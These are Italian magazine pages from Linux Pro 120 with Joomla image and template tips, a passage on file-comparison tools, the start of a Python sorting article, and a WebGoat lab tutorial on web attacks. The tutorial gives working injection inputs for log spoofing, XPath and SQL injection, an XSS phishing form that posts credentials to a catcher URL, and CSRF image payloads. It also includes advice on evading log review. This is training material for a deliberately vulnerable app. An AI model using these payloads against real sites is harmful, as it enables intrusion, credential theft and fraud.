A proposito di immaginiPer inserire rapidamente un’immagine in un articolo, il sistema più spiccio è cliccare sul pulsante Immagine posto lungo il bordo inferiore dell’editor predefi nito. Questo pulsante richiama la fi nestra che consente sia di scegliere un’immagine tra quelle sul server, sia di caricarne una dal computer locale; permette inoltre

2 I comandi per la regolazione della dimensione del testo compaiono (pur con piccole differenze) sia in Beez20 sia in Beez5

3 Le impostazioni per la prima modifi ca delle stringhe di testo

Strumenti di confronto per tutti gli ambienti

Pochi lo sanno, ma OpenOffi ce.org Writer e LibreOffi ce Writer dispongono di una funzione di confronto di fi le: dopo aver caricato il documento di base, selezionate il comando Modifi ca D Confronta documento e aprite il fi le con il quale effettuare il confronto. Writer non confronta le cartelle e le funzioni per la gestione delle differenze non sono elaborate come quelle di Meld. Però funziona

ed è disponibile anche per il Commodore 64 (no: forse questo ramo è stato tagliato...). C’è poi <oXygen/> XML Diff, che contempla una funzione di confronto di fi le e directory molto simile a Meld. Questo software è disponibile per le tre maggiori piattaforme ed è ben più rifi nito rispetto a Meld, ma è a pagamento. E non è libero. Per maggiori informazioni: www.oxygenxml.com.

œ

Page 71: LinuxPro-N120_Settembre2012

74 LINUX PRO 120

Tutorial Joomla!

fuori le fi gure corrispondenti all’aspetto del pulsante quando il puntatore si trova sopra di esso e quando il puntatore abbandona il pulsante. Nel caso dell’esempio, quest’ultima è nuovamente il pulsante allo stato normale, ma potrebbe anche trattarsi di un’altra immagine: così come ve l’abbiamo proposta, la confi gurazione serve più che altro a invitare il navigatore a cliccare, più che a indicare che il pulsante è effettivamente premuto. Tuttavia sono possibili personalizzazioni ancora più profonde. Selezionate l’immagine e fate click sul pulsante Inserisci/Modifi ca attributi della barra degli strumenti dell’editor. La fi nestra che si apre (Fig.6) è espressamente dedicata all’impostazione degli attributi dell’elemento selezionato. Nella scheda Eventi sono elencati tutti gli eventi ai quali Joomla permette di agganciare un’immagine o uno script JavaScript. Notate che, nel nostro esempio, agli eventi onmouseover e onmouseout sono agganciate le immagini defi nite in precedenza per quando mouse sopra e per quando mouse fuori. Mediante la scheda Eventi potete perciò far sì che l’immagine cambi aspetto secondo ciò che il visitatore fa, regolandolo molto in dettaglio. Il signifi cato degli eventi più comunemente utilizzati è riportato nella Tabella 1. Concludiamo il paragrafo dedicato alle immagini chiarendo un piccolo particolare che può apparire un mistero a chi non ha molta confi denza con le classi dei CSS. Nella fi nestra richiamata dal pulsante Immagine è possibile defi nire se il titolo dell’immagine (cioè l’attributo Title, che comporta la visualizzazione di un suggerimento quando si porta il puntatore sull’immagine stessa) debba essere usato come didascalia. Se impostate il valore No, pare non ci sia altra via per visualizzare la didascalia che eliminare l’immagine e poi reinserirla. In realtà, la visualizzazione della didascalia è defi nita da una classe del template, perciò è suffi ciente

assegnare all’immagine la classe giusta per far comparire la didascalia. La classe in questione è caption e può essere assegnata nella casella classe sia della fi nestra Inserisci/Modifi ca immagine sia della fi nestra Inserisci/Modifi ca attributi.

Modelli di articoliSe inserite frequentemente articoli nel vostro sito, prima o poi sentirete l’esigenza di usare modelli che vi evitino di dover riportare ogni volta gli stessi elementi (come tabelle, disclaimer, immagini, pulsanti, sezioni ricorrenti o altro). Tra l’altro, l’uso di modelli previene errori accidentali. Benché TinyMCE, l’editor predefi nito di Joomla, disponga del pulsante Inserisci contenuto da modello predefi nito, questo strumento non è certo l’ideale: può andare bene solo per singoli elementi 6 La scheda Eventi della fi nestra Inserisci/Modifi ca attributi

4 Le stringhe modifi cate

di impostare parametri fondamentali come l’allineamento, la descrizione alternativa, l’attributo Title e l’uso di quest’ultimo per la generazione della didascalia automatica. Dopo aver inserito l’immagine è tuttavia possibile intervenire in modo più approfondito sui parametri dell’immagine: basta selezionarla e premere il pulsante Inserisci/Modifi ca immagine, nella barra degli strumenti dell’editor. Per esempio, supponete di voler inserire un pulsante che simuli due stati: quello normale e quello assunto quando il puntatore si trova sopra di esso. Per far ciò, occorre costruire due immagini, una per ogni stato, come quelle riportate nella Fig.5. Dopo aver inserito l’immagine del pulsante normale, richiamate la fi nestra Inserisci/Modifi ca immagine e passate alla scheda Avanzate. Selezionate la casella Immagine alternativa e inserite nelle caselle quando mouse sopra e quando mouse

5 A sinistra, l’immagine usata per il pulsante in stato normale; a destra, quella per il pulsante sormontato dal puntatore

Page 72: LinuxPro-N120_Settembre2012

LINUX PRO 120 75

Joomla! Tutorial

e, oltretutto, la costruzione dei modelli è macchinosa. Ci sono due soluzioni: usare in modo un po’ fantasioso la funzione Salva come copia e ricorrere a un’estensione; in entrambi i casi, il primo passo è lo stesso: redigere un articolo da usare come modello. Se non volete usare estensioni, realizzate il modello di articolo che dovrà servire da base per i modelli successivi e rifi nitelo in tutti i particolari: categoria, autore, campi meta eccetera. Come titolo, sceglietene uno che vi indichi inequivocabilmente che si tratta di un modello e che eventualmente contenga altre informazioni utili. Per esempio, Modello articolo partite in casa. Per evitare pubblicazioni accidentali, impostatelo come non pubblicato. Il modello è pronto. Per scrivere un articolo basato sul modello, aprite il modello stesso e, prima di ogni altra cosa, compite tre operazioni:1 assegnate un titolo nuovo all’articolo;2 cancellate il contenuto del campo Alias. Attenzione! Quest’operazione è fondamentale, perché la semplice modifi ca del titolo non è suffi ciente a distinguere due articoli di Joomla: la distinzione avviene mediante il campo Alias, il cui contenuto può essere specifi cato dall’utente o inserito automaticamente da Joomla sulla base del titolo, se l’utente lascia vuoto il campo;3 cliccate sul pulsante Salva come Copia.In questo modo viene creata una copia dell’articolo, con un numero di ID diverso. Vi è un’altra operazione importante da compiere: dovete modifi care la data di creazione e quella di pubblicazione. Sono state infatti mantenute le date dell’articolo originale e ciò può ovviamente creare problemi nei casi di ricerca o di visualizzazione per data. Se invece volete usare uno strumento molto semplice e fl essibile, vi consigliamo Content Templater, un’estensione di Joomla tra le più apprezzate per questo scopo. Content Templater permette di costruire un numero infi nito di elementi da inserire nell’articolo e di impostarne anche gli attributi fondamentali (gli altri possono essere impostati nella versione Pro, a pagamento). Potete scaricare Content Templater dal sito dello sviluppatore (www.nonumber.nl). Per una migliore gestione dell’estensione vi consigliamo tuttavia di scaricare e installare dapprima l’estensione NoNumber Extension Manager, che vi permette

Tabella 1 Gli eventi secondo Joomla

Ecco gli eventi usati più frequentemente ai quali viene agganciata un’immagine o uno script. A quelli elencati di seguito vanno ovviamente aggiunti onmouseover e onmouseout, descritti nell’articolo.

EVENTO DESCRIZIONEOnclick Viene fatto click sull’elemento

Ondblclick Viene fatto doppio click sull’elemento

Onmousedown Il pulsante sinistro del mouse viene premuto (ma non rilasciato) sull’elemento

Onmouseup Il pulsante sinistro del mouse viene rilasciato (ovviamente, era prima stato premuto)

Oncontextmenu Viene premuto il tasto destro del mouse sull’elemento (aprendo il menu contestuale)

7 Un esempio di template realizzati con Content Templater

8 Creazione di un modello in Content Templater

di installare, disinstallare e aggiornare comodamente le estensioni prodotte da NoNumber. Dovete tenere conto che Content Templater non sfrutta la funzione di verifi ca dello stato d’aggiornamento delle estensioni disponibile in Joomla, perciò NoNumber Extension Manager è davvero molto utile. Una volta installato Content Templater, esso compare nel menu Componenti del pannello amministrativo e può perciò essere richiamato comodamente. Nella Fig.7 potete osservare il pannello di Content Templater, contenente già alcuni template. Come potete osservare nella Fig.7, i pulsanti di Content Templater sono molto simili a quelli di Joomla e anche il loro uso è il medesimo. In più vi sono i pulsanti Esporta e Importa, con i quali potete esportare e importare i modelli selezionati. Se gestite più siti, questa possibilità è fantastica. Per creare un modello di articolo, dovete cliccare sul pulsante Nuovo e richiamare così la fi nestra mostrata nella Fig.8. Potete ora realizzare l’oggetto da usare come modello e impostarne le caratteristiche. Non dimenticate di salvarlo. Quando l’estensione Content Templater è attiva, lungo il lato inferiore dell’editor compare il pulsante Content Templater. Portando il puntatore su di esso, appare un menu che elenca i modelli disponibili (nonché il comando per crearne uno nuovo): basta selezionarlo per inserirlo immediatamente nella posizione del cursore. Gli elementi così inseriti non eliminano quelli già presenti. LXP

Page 73: LinuxPro-N120_Settembre2012

76 LINUX PRO 120

Sicurezza Come verifi care la sicurezza delle applicazioni Web

Dai social network allo shopping, dall’home banking ai giochi via Internet, la grande Rete ormai è una parte insostituibile della vita di sempre più persone.

Ma quanto è sicura? Fortunatamente le vulnerabilità dei vari software vengono identifi cate e corrette (tecnicamente si dice patchate) velocemente, ma si può dire lo stesso delle applicazioni Web coinvolte? Cosa succederebbe se un criminale informatico riuscisse a piegare al proprio volere i meccanismi più interni delle applicazioni stesse? Beh, a tutti gli effetti è quel che capita ogni giorno nella grande e variegata Internet. In questo tutorial verrà usato WebGoat, un’applicazione dimostrativa, per mostrare alcune tecniche comunemente utilizzate per sfruttare alcune vulnerabilità note perché conoscere il pericolo è il primo passo per proteggersi dalle minacce stesse. È possibile installare WebGoat sulle distribuzioni più diffuse ma la parte più complessa è la confi gurazione; fortunatamente sul sito di Owasp (www.owasp.org) sono disponibili per il download alcune immagini di macchine virtuali già pronte all’uso. Dopo aver scaricato l’immagine OWASP WTE (Open Web Application Security Project - Web Testing Environment) potrete utilizzarla come DVD Live oppure, essendo un sistema riempito appositamente di vulnerabilità, sarebbe molto più sicuro avviarlo come macchina virtuale all’interno di VirtualBox o di un altro software di virtualizzazione. Se non avete installato alcun sistema di virtualizzazione è vivamente consigliato l’uso di VirtualBox, reperibile in tutti i package manager delle distribuzioni più famose. Alternativamente sul sito di Owasp troverete indicazione anche per gli altri sistemi quali Qemu o VMware. Per procedere al download dell’immagine visitate l’indirizzo http://appseclive.org/node/45 e una volta fi nito il processo di scaricamento estraete il fi le con il comandounrar e owasp-wte-Feb-2011.vdi.rarPrima di proseguire seguite le istruzioni presentate alla pagina successiva per impostare WebScarab. Non tutti gli attacchi hanno come obiettivo l’accesso ad alcune informazioni. Alcune tipologie di attacco, a volte parte di un piano più ampio, richiederanno l’archiviazione di alcuni dati. Per esempio, se state tentando di indovinare una password di accesso attraverso la tecnica del brute-forcing, ovvero una serie di tentativi in sequenza, avrete una pletora di tentativi falliti salvati nei fi le di log. In questo caso una buona norma

è inserire qualche tentativo effettuato con successo giusto per evitare che gli amministratori si insospettiscano. Per farlo aprite l’opzione Injection Flaws D Log Spoofi ng. Nel test che segue si tenterà di inviare una serie di messaggi di login effettuato con successo e uno solo negativo. Per far questo si deve prima inserire un carattere di “fi ne linea” nel fi le di log. I caratteri necessari sono %0d%0a, quindi inserite nel campo Username il testo seguente: Smith%0d%0aLogin Succeeded for username: Admin%0d%0aLogin Succeeded for username: JohnInserite una password qualsiasi prima di premere Login. Questa operazione aggiungerà tre righe al fi le di log, un fi nto login fallito e due login corretti. Se volete potete anche aggiungere altro testo a quanto specifi cato (come in Fig.1). Non essendoci alcun tipo di validazione su questi campi si potrebbe anche scrivere uno script nel fi le di log. In caso l’amministratore di sistema visualizzi i fi le di log usando un browser si potrebbe cercare di sfruttare questa situazione per attaccarne la sessione usando una delle tecniche spiegate in seguito. Un form di login senza le dovute regole di validazione è una manna per i criminali informatici e le possibilità offerte grazie a questa grave dimenticanza sono molte più pericolose della scrittura di qualche riga nel fi le di log. In effetti dei campi validati in maniera impropria potrebbero rivelare informazioni utili.

Attacca e sovvertiNel menu di sinistra scegliete la voce XPATH Injection. In questo esempio verrà attaccato il campo password abusandone per mostrare alcune informazioni sensibili. La password viene controllata usando un’istruzione XPATH che restituirà una riga per ogni risultato che corrisponde al nome utente e alla password digitate. È possibile sfruttare questa caratteristica aggiungendo la clausola OR in modo che il risultato del check sia sempre “vero”, sostanzialmente ritornando tutte le linee del database. Inserite quindi la riga seguente test123’ or ‘a’=’aLa frase sarà messa tra virgolette da XPATH stesso, quindi gli apici più esterni non servono. Sfortunatamente non tutti i form permettono di scrivere direttamente i dati, obbligando invece l’utente a scegliere tra un set di valori predefi niti. Questo non signifi ca che il pericolo è scampato, è semplicemente segno che un eventuale attaccante dovrà essere lievemente più furbo. Tornando a WebScarab, dovreste vedere ora una lista di richieste HTTP GET. Ognuna di queste rappresenta uno dei tentativi fatti dal browser nei passi precedenti. La colonna Path mostra il dettaglio dell’oggetto richiesto. Prima di continuare è bene avere chiaro un paio di aspetti del funzionamento di Internet. La funzionalità necessaria per visualizzare e navigare i siti si basa su un protocollo chiamato HTTP (HyperText Transfer Protocol). HyperText (o IperTesto) sta ad indicare il fatto che, oltre al testo, possono essere inclusi dei link ad altre pagine, solitamente altri documenti o elementi multimediali. Il protocollo era stato ideato per essere semplice e facilmente

DIFFICILE

1 Login spoof: se riuscite nell’intento

vedrete tante righe comparire

nella sezione di testo in grigio

WebGoat e le falle del WebPensate che il vostro server Web sia al sicuro perché avete aggiornato ogni singolo software? Bene, vi sbagliate, leggete le prossime righe e scoprite come e perché

Page 74: LinuxPro-N120_Settembre2012

LINUX PRO 120 77

Sicurezza Tutorial

leggibile, quindi le sue varie parti vengono inviate in chiaro sotto forma di testo. Ogni volta che navigate digitando un indirizzo, o cliccando su un link, il vostro browser invia una richiesta GET. Questo messaggio indica al server Web destinatario il documento che volete leggere. Il server a questo punto dovrebbe rispondere inviando il documento richiesto al vostro browser. In effetti la maggior parte delle sessioni di navigazione può essere ricondotta a numerose richieste HTTP GET, dato che in una pagina è possibile ci siano più elementi da richiedere al server Web. L’ambiente di testing OWASP si confi gura usando WebScarab come proxy. I Proxy HTTP sono programmi che intercettano le richieste HTTP e consentono di vederle e modifi carle “al volo”. Questo meccanismo consente di vedere e intervenire su quanto accade a fronte della navigazione nel browser. Essendo HTTP il metodo scelto per comunicare con il Web server, è proprio modifi cando il messaggio inviato che avverrà l’attacco. Ormai la maggior parte dei piccoli siti dinamici vengono creati al volo partendo da informazioni memorizzate in un database. Proprio per questo uno degli obiettivi principali dei malintenzionati è la base dati da cui estrarre più informazioni possibili. Per farlo si usa un tipo di attacco

chiamato SQL injection. In questa metodologia di azione l’attaccante forza il sito a eseguire un comando SQL non previsto. Tornando nel browser scegliete la voce Injection Flaws e il sottomenu Numeric SQL Injection. Si aprirà così un sito esemplifi cativo che mostra delle informazioni meteorologiche. Nella modalità di funzionamento normale potrete selezionare una stazione meteo dal menu a tendina e cliccare Vai per caricarne le informazioni nella parte centrale. Ovviamente in quanto attaccanti questo non sarà abbastanza. Per cominciare, il sito in questione ci dice qual è il comando SQL eseguito: SELECT * FROM weather_data WHERE station = ?Nella riga il ? è il valore preso dal menu a tendina. Per riuscire a carpire più informazioni insieme si deve rendere la clausola WHERE più ampia. Per farlo basterà intercettare la richiesta HTTP generata dal browser e aggiungere un pezzettino al campo “station”. In WebScarab abilitate la casella Intercept Request, poi tornando nel browser avviate la richiesta. Il proxy intercetterà una richiesta contenente due informazioni, il campo “station” e quello “submit”. Cambiate a questo punto il valore di “station” in 101 OR station LIKE ‘%’

1 PrepararsiAprite VirtualBox e create una nuova macchina virtuale. Digitate il nome “OWASP” e scegliete “Linux” come sistema operativo e “Linux 2.6” come tipologia. Nella schermata successiva dedicate quanta più memoria vi è possibile, idealmente almeno 700 MB. Cliccate nuovamente su Avanti e scegliete di “usare un disco già esistente” e cercate il fi le VDI scaricato poc’anzi.

4 Avviate il proxyA questo punto potete aprire il menu Applications e andare alla voce OWASP D Proxies D OWASP WebScarab. Essendo scritta in Java saranno necessari minimo 64 MB di RAM dedicata ma è consigliabile essere pronti a scucirne il doppio o il triplo. Nella fi nestra di WebScarab andate su Tools e selezionate la voce Use Lite Interface. Poi avviate OWASP D WebGoat START.

2 LoginAvviate la VM. Una volta arrivati alla schermata di login usate owasp come nome utente e password. Di tanto in tanto Ubuntu vi chiederà di effettuare un update ma essendo questo solo un sistema di test potete ignorare tali richieste.

5 FoxyProxyChiudete il Firefox che viene aperto di default e avviate il browser usando la voce reperibile in Applications D OWASP D Firefox WTE Style che permette un controllo più semplice sul proxy utilizzato. Cliccate quindi su FoxyProxy nella parte in basso a destra e cambiate il modo d’uso in WebScarab per tutti gli URL.

3 Installare le “Guest additions”Aprite il menu Devices della schermata di VirtualBox e selezionate Install Guest Additions. Se questa scelta vi restituisce un errore dovrete installare il pacchetto virtualbox-guest-additions direttamente all’interno del sistema virtualizzato. Una volta fi nita l’installazione potrebbe rendersi necessario il riavvio della VM stessa.

6 Partenza, Via!Puntate il browser all’indirizzo http://localhost:8080/WebGoat/attack e loggatevi usando sia come nome utente sia come password la parola guest.

Passo passo Configurare l’ambiente

œ

Page 75: LinuxPro-N120_Settembre2012

78 LINUX PRO 120

Tutorial Sicurezza

da questo tipo di attacco. Questo passo verrà lasciato ai lettori più volenterosi e interessati andando direttamente al terzo passo. Questo attacco è diviso in due fasi. La prima consiste nell’assicurarsi che vengano analizzati tutti gli utenti nel database e non quelli proposti dal menu. Come già visto, questa operazione verrà effettuata aggiungendo la clausola OR 1=1. Ad ogni modo, essendo la pagina risultante creata per mostrare solo un risultato, è auspicabile analizzare il record più interessante. In particolare sarebbe interessante, ad esempio, leggere i dati della persona con lo stipendio più alto. Per procedere in tal senso si dovrà “personalizzare” la query aggiungendo ORDER BY salary DESC. Per poter compiere l’attacco si deve essere loggati come Larry (password larry). Una volta autenticati cliccate su View Profi le. Quando WebScarab intercetterà questa richiesta modifi cate il campo employee_id con 101 OR 1=1 ORDER BY salary DESCe cliccate su Accept Request. In questo modo verranno sostanzialmente ritornati i dettagli dell’impiegato con lo stipendio più alto, che siano nella lista a tendina proposta o meno. È diffi cile identifi care quale sia la difesa più effi cace contro gli attacchi SQL Injection (e molti altri tipi di attacco) senza entrare nello specifi co del codice scritto. Quel che è sicuro è che un minimo di validazione non può che aiutare e nella maggior parte eliminare campi che accettano caratteri quali =, ‘, “ e % non danneggerà il funzionamento dell’applicativo ma porterà di sicuro qualche benefi cio alla sicurezza. Ad ogni modo, se avete un’ottima ragione per essere obbligati ad accettare tali caratteri dovreste assicurarvi almeno che vengano normalizzati (o escapati in gergo) prima di essere utilizzati in un database. Questo passaggio andrebbe comunque effettuato lato server dato che, usando un semplice proxy come WebScarab o affi ni, è possibile aggirare praticamente qualsiasi tipo di accorgimento di sicurezza adottato lato client.

Cross Site Scripting (XSS)Cross Site Scripting è un metodo utilizzato per attaccare una parte di sito e utilizzarla per mostrare contenuti appositamente specifi cati. Questo meccanismo risulta possibile quando un sito interattivo mostra alcuni contenuti inseriti direttamente dagli utenti. Per proseguire con l’esercizio andate alla sezione Cross-Site Scripting (XSS) D Phishing With XSS. Come primo passo inserite solo Test nella casella di ricerca e premete Cerca. A questo punto vedrete la pagina mostrerà un testo simile a Results for: TestGrazie a questa semplice verifi ca si può desumere che si riuscirà a iniettare quel che si vuole dopo la dicitura Results for: e un po’ di conoscenza HTML e JavaScript consentirà di inserire ben più di una semplice frase. Ad esempio provate a cercare il termine <br><br><h1>Injected Text</h1>

e poi cliccate su Accept Changes (come negli screenshot sotto). Il sistema a questo punto processerà il comando SQL ‘SELECT * FROM weather_data WHERE station = 101 OR station LIKE ‘%’ ;Essendo il simbolo ‘%’ il carattere wildcard in SQL, questo comando restituirà sostanzialmente tutto il contenuto della tabella weather_data. Il risultato conterrà le quattro voci presenti nel menu a tendina più altre due che lo staff aveva tenuto nascoste. Una volta completato questo esercizio il sito passerà a una versione più complessa che verifi ca che l’input sia esclusivamente numerico, infatti se tentate nuovamente lo stesso attacco fallirà. Ora passate alla sezione LAB: SQL Injection e potrete provare altre situazioni in cui usare questo tipo di attacco. Questo set di esercizi presenta un sito di una compagnia fi ttizia chiamata Goat Hills. Al primo passo si dovrà aggirare il sistema di autenticazione riuscendo a effettuare il login anche senza sapere la password. Il sito fa il check della password con un’istruzione simile a ‘SELECT * FROM employee WHERE userid = ‘ + userid + ‘ AND password = ‘ + passwordSe viene restituita almeno una riga, allora l’utente avrà digitato dei dati corretti e il sistema effettua il login. Inserite l’utente Neville Bartholomew e la password Test. Verifi cate che WebScarab abbia ancora l’impostazione Intercept Requests abilitata e poi cliccate su Login. Si può aggirare questo sistema aggiungendo una clausola OR come nell’esempio precedente. Una volta intercettata la richiesta HTTP cambiate la password aggiungendo Test‘ OR password LIKE ’%Test non è la password giusta ma è sempre vero che ‘1’=’1’ ritornando quindi VERO come risultato della query. A questo punto si possono effettuare tutte le operazioni consentite all’amministratore Neville. In effetti vi starete chiedendo perché non inserire il testo direttamente nella casella Password: il motivo è che, sebbene non ci sia un controllo sul contenuto, la lunghezza del campo è limitata, costringendo sostanzialmente all’uso del proxy. Il secondo passo consiste nel modifi care il codice lato server in modo da proteggersi

Hacking and crackingTanto tempo fa (negli anni ‘60) il termine “hacker” era utilizzato per denotare una persona con grandi capacità tecniche, solitamente di programmazione, e molta curiosità. Allo stesso tempo è nato il termine “cracker” che veniva invece usato per indicare quelli che attaccavano i computer. Questo utilizzo è rimasto confi nato all’interno delle mura del MIT qualche anno, per poi diffondersi in tutto il mondo principalmente grazie

all’uso erroneo da parte dei mass media. Questo nuovo signifi cato attribuisce al “cracker” un comportamento più concentrato a rompere un singolo pezzo di software (esempio crackare una password) mentre l’hacker diventava sempre meno frequentemente l’esperto in materia in grado di migliorare un sistema (kernel hacking) e sempre più frequentemente il criminale informatico in grado di accedere a dati sensibili grazie

alle sue conoscenze tecniche. Una nota distintiva è però sempre rimasta, anche se più o meno velata, l’attività di cracking ha sempre una connotazione illegale o comunque maligna mentre quella di hacker ha subito una ramifi cazione verso le attività più nobili (white hat hacking) e quelle volte ad azioni potenzialmente illegali (black hat hacking). Questo tutorial parla esclusivamente dell’uso di nozioni di “white hat hacking”.

WebScarab può essere utilizzato per

modifi care i valori inviati dal browser

Page 76: LinuxPro-N120_Settembre2012

LINUX PRO 120 79

Sicurezza Tutorial

Per chi non fosse avvezzo alle tecnologie Web, il tag <br> serve a introdurre un’interruzione di linea e gli <h1> a indicare che il testo è un titolo. Come già anticipato, non sarà troppo diffi cile aggiungere costrutti più complessi di un semplice testo, per esempio un form. Nel corso del prossimo attacco sarà necessario introdurre sia un piccolo pezzo di testo che un form. Quest’ultimo prenderà le informazioni digitate dall’utente e le invierà all’indirizzo http://localhost/WebGoat/catcher?PROPERTY=yes. Essendo l’intero concetto di phishing imperniato sull’invogliare un utente poco avveduto a digitare i propri dati, si dovrà fornire un motivo plausibile per farlo. Il risultato fi nale potrebbe essere qualcosa di simile a <br><br><h1>Attenzione: i sistemi di sicurezza hanno rilevato un’attività anomala da parte del Vs account. Prego confermare i dati del proprio account per prevenire ulteriori login non autorizzati</h1><form><input type=“text” name=“user”><br><input type=“password” name=“password”><br><input type=“submit” name=“login” onClick=“var image1=new Image; image1.src=’http:// localhost:8080/webgoat/catcher?PROPERTY=yes&user=’ +this.form.user.value+’&password=’+this.form.password. value;”></form>Questo script, per quanto ancora allo stato grezzo, è già in grado di catturare i dati digitati in input dall’utente e passarli al server in ascolto. Come mostrato nuovamente in questo esempio, è importante avvalersi di un minimo di autenticazione quando si ha a che fare con dati in input digitati dagli utenti. In questo caso pulire le stringhe da > e < sarebbe bastato a evitare la creazione dei tag HTML. È anche possibile convincere il browser dell’utente a eseguire azioni non intenzionali. Essendo la navigazione guidata attraverso l’uso del protocollo HTTP, se si riuscisse a forzare il browser dell’utente a effettuare una chiamata HTTP GET si potrebbe imbrogliare il server facendogli credere che sia l’utente ad aver generato la richiesta. Il modo più facile per far generare una richiesta GET a un browser è di fargli credere di caricare un’immagine. Per non rendere il trucco troppo esplicito è il caso di rendere l’immagine grande un pixel. Andate alla sezione Cross Site Request Forgery e digitate il titolo “Attenzione - Misure di sicurezza richieste” e poi nel testo aggiungete Questo è un messaggio molto lungo e convincente da leggere con calma <img src=“http://localhost:8080/ webgoat/attack?Screen=89&menu= 900&transferFunds=4000” width=“1” height=“1”/>In questo caso la richiesta truccata viene utilizzata per trasferire (ipoteticamente) dei fondi da un conto a un altro, ma potrebbe essere usata ugualmente per postare contenuti

Molti degli URL dati automaticamente dall’applicazione presentano dei piccoli errori: assicuratevi che webgoat sia sempre scritto minuscolo e che punti al menu e ai valori corretti.

Tipsu un sito, fare degli acquisti o praticamente qualsiasi altra azione possa essere intrapresa con un click in un sito. Essendo la richiesta in arrivo dal computer della vittima, non dell’attaccante, il server Web la processerà come legittimamente intestata all’utente (a patto che questi ne abbia i diritti e sia loggato). È chiaro che molti siti non eseguiranno l’azione al primo colpo ma chiederanno una conferma all’utente. Continuando con l’esempio precedente è quantomeno improbabile che una banca vi permetta di trasferire fondi al volo semplicemente con un click, senza un briciolo di conferma. Fortunatamente per l’attaccante c’è modo di aggirare anche questo problema. Essendo anche la seconda richiesta semplicemente un’altra richiesta HTTP GET, bisogna solo trovare il modo di generarla automaticamente. L’unico problema è che deve essere inviata al momento giusto, ovvero dopo che la prima è stata già eseguita, ma si potrà sfruttare il fatto che la prima immagine fallirà il caricamento. La richiesta HTTP falsa dell’esempio precedente restituirà un documento HTML e quando il browser tenterà di caricarlo come immagine fallirà. Il tag img consente di specifi care cosa fare in caso di errore e in questo caso l’azione da intraprendere sarà di caricare un secondo URL. Andate alla sezione CSRF Prompt By-Pass e digitate un titolo come ‘Attenzione - Misure fi nali di sicurezza a prova di bomba’ e aggiungete un messaggio simile a Per concludere la messa in sicurezza del tuo account devi leggere anche questo lungo interessantissimo testo <img src=“http://localhost:8080/webgoat/attack?Screen= 82&menu=900&transferFunds=4000” onerror=“document.getElementById(‘image2’).src=‘http:// localhost:8080/webgoat/attack?Screen=82&menu=900 &transferFunds=CONFIRM’” width=“1” height=“1” /> <img id=“image2” width=“1” height=“1” />

Ridurre il rischioEsistono un po’ di modi per minimizzare il rischio di attacchi CSRF. Per esempio, essendo tutti attacchi basati sullo stato di login già effettuato da parte dell’utente, è buona norma disconnettere gli utenti dopo un periodo di inattività. Per avere altri consigli pratici e teorici visitate il sito www.owasp.org/index.php/PHP_CSRF_Guard. SQL Injection e XSS sono solo due dei tipi di attacchi che si possono condurre contro un sito. WebGoat propone altri esempi di una moltitudine di tipi diversi. In caso vi troviate spiazzate usate i link Hints e Solutions nella parte alta della pagina. Proteggere il proprio sito da questo tipo di minacce alla fi ne si riduce spesso a effettuare il giusto tipo di validazione ed escaping dei caratteri potenzialmente pericolosi. Potete trovare alcuni attacchi esemplifi cativi in Applications D Internet D Web App Testing Tools e questi potranno essere anche usati per testare le vostre applicazioni. Per ulteriori trucchi e consigli spicci potete visitare il link www.owasp.org/index.php/Cheat_Sheets. LXP

Note legaliQuesto tutorial è inteso unicamente a scopo didattico. Le tecniche mostrate devono essere utilizzate solo sui propri siti oppure se in possesso di autorizzazione scritta da parte del proprietario. Utilizzare queste tecniche viene considerato reato in diversi stati e potrebbe portare a pesanti accuse sul piano

civile e penale. Fate un favore a tutti e non effettuate azioni azzardate. Inoltre in questo articolo non si è volutamente parlato di come coprire le tracce delle proprie nefandezze quindi un’eventuale indagine di polizia riuscirebbe velocissimamente a scovare il colpevole.

CAL9000 è un software un po’ datato ma è ancora un ottimo inizio per testare le proprie applicazioni Web

Page 77: LinuxPro-N120_Settembre2012

80 LINUX PRO 120

Concetti

Python è un ottimo linguaggio. State felicemente scrivendo un piccolo programma e avete una grande lista di dati che dovete

ordinare. Cosa fare? Facile, basta applicare il metodo sort() alla lista e avete risolto. Funziona velocemente e non dovete preoccuparvi di quanto grande è la lista che gli passate: potrebbero essere milioni di elementi e comunque vi ritroverete la lista ordinata in men che non si dica. È molto comodo, ma vi siete mai soffermati a chiedervi come funziona? È una domanda affascinante, e nelle prossime due puntate andremo a illustrarvi alcune tecniche che vengono comunemente utilizzate per risolvere questo tipo di problemi. Durante questi tutorial riceverete anche un’infarinatura sugli algoritmi e su come pensare alle loro performance. Quindi, da dove partiamo? Ordinare una lista con il computer, come molti problemi di programmazione, sembra incredibilmente astratto e diffi cile a una prima occhiata. Se iniziate a pensare a come ordinare una lista Python con milioni di elementi, non andrete da nessuna parte in tempi brevi.

Ordinare due carteMa cosa succede se facciamo un passo indietro, allontanandoci dal computer e dai milioni di oggetti? Immaginate, ad esempio, che abbiate due carte di cuori nel mazzo. Come mettereste queste due carte in ordine? Beh, è abbastanza semplice, dareste un’occhiata alle carte, e se la carta di sinistra è superiore a quella di destra, le scambiereste di posto;

se la carta di destra vale di più di quella di sinistra le lascereste come sono. Come sembrerebbe tutto ciò in Python? cards = [8,2] if card[0] > card[1]: card[0] = card[1] card[1] = card[0] print cardsSembra molto semplice. C’è una lista di carte, con valori 8 e 2. Abbiamo quindi controllato se la prima carta è maggiore della seconda, e se è così abbiamo scambiato le carte nella lista. Eseguite questo codice e controllate cosa succede. Dovreste notare che non riceverete come risposta [2,8] bensì [2,2]. Che ovviamente non è quello che volevamo, quindi, cos’è successo? Dato che non c’è alcun operatore in Python che permetta di scambiare la posizione di due elementi, abbiamo fatto quello che sembra più naturale: utilizzare l’operatore di assegnazione per copiare i valori delle due carte. Il problema è che dopo aver copiato il primo valore, entrambe le carte si sono ritrovate con lo stesso valore! E quando abbiamo provato a fare il secondo assegnamento, abbiamo semplicemente copiato due carte identiche. Il modo per aggirare questo problema è di salvare una copia del valore della prima carta in una variabile a parte, e soprattutto, prima di fare alcuna operazione. Date un’occhiata a questo codice: cards = [8,2] card0 = cards[0] if card[0] > card[1]:

8 5 2 9

985 2Il Bubble Sort funziona

confrontando elementi adiacenti nella lista. Mentre

lo fa, l’elemento più grande viene

spinto verso la fi ne della lista

OrdinamentoLasciate che lo staff di Linux Pro vi introduca nel rutilante mondo degli algoritmi, dell’effi cienza e dei dati organizzati

Page 78: LinuxPro-N120_Settembre2012

LINUX PRO 120 81

Concetti

card[0] = card[1] card[1] = card0 print cardsSe eseguite questo codice dovreste ottenere il risultato corretto. Questo perché abbiamo salvato il valore della prima carta prima di sovrascriverla con il primo assegnamento, utilizzando la copia salvata per eseguire il secondo assegnamento. Alla fi ne non è proprio come avremmo fatto nella vita reale, ma ci si avvicina molto.

